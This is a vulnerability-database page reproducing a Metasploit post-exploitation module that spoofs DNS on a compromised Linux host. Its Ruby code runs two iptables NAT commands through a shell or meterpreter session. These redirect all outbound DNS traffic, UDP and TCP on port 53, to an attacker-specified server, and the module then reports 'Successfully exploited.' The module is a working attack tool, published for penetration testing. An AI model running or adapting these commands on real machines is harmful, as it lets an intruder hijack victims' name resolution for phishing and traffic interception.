Lucene search
K

Native DNS Spoofing module

🗓️ 12 Jul 2018 12:06:41Reported by Alberto Rafael Rodriguez Iglesias <[email protected]>Type 
metasploit
 metasploit
🔗 www.rapid7.com👁 27 Views

Native DNS Spoofing module will redirect DNS requests to a remote serve

Code
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Post
  include Msf::Post::File
  include Msf::Post::Linux::System

  def initialize
    super(
      'Name' => 'Native DNS Spoofing module',
      'Description' => %q{
        This module will be applied on a session connected to a shell. It will redirect DNS Request to remote DNS server.
      },
      'Author' => 'Alberto Rafael Rodriguez Iglesias <albertocysec[at]gmail.com>',
      'License' => MSF_LICENSE,
      'Platform' => ['linux'],
      'SessionTypes' => ['shell', 'meterpreter']
    )
    register_options(
      [
        OptString.new('ORIGIN_PORT', [true, 'Origin port', '53']),
        OptString.new('DESTINY_PORT', [true, 'Destination port', '53']),
        OptAddress.new('DESTINY_IP', [true, 'Needed', '8.8.8.8'])
      ]
    )
  end

  def run
    print_good('Spoofing DNS server...')
    cmd_exec("iptables -t nat -A OUTPUT -p udp --dport #{datastore['ORIGIN_PORT']} -j DNAT --to #{datastore['DESTINY_IP']}:#{datastore['DESTINY_PORT']}")
    cmd_exec("iptables -t nat -A OUTPUT -p tcp --dport #{datastore['ORIGIN_PORT']} -j DNAT --to #{datastore['DESTINY_IP']}:#{datastore['DESTINY_PORT']}")
    print_good('Successfully exploited.')
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

08 Feb 2023 13:47Current
0.1Low risk
Vulners AI Score0.1
27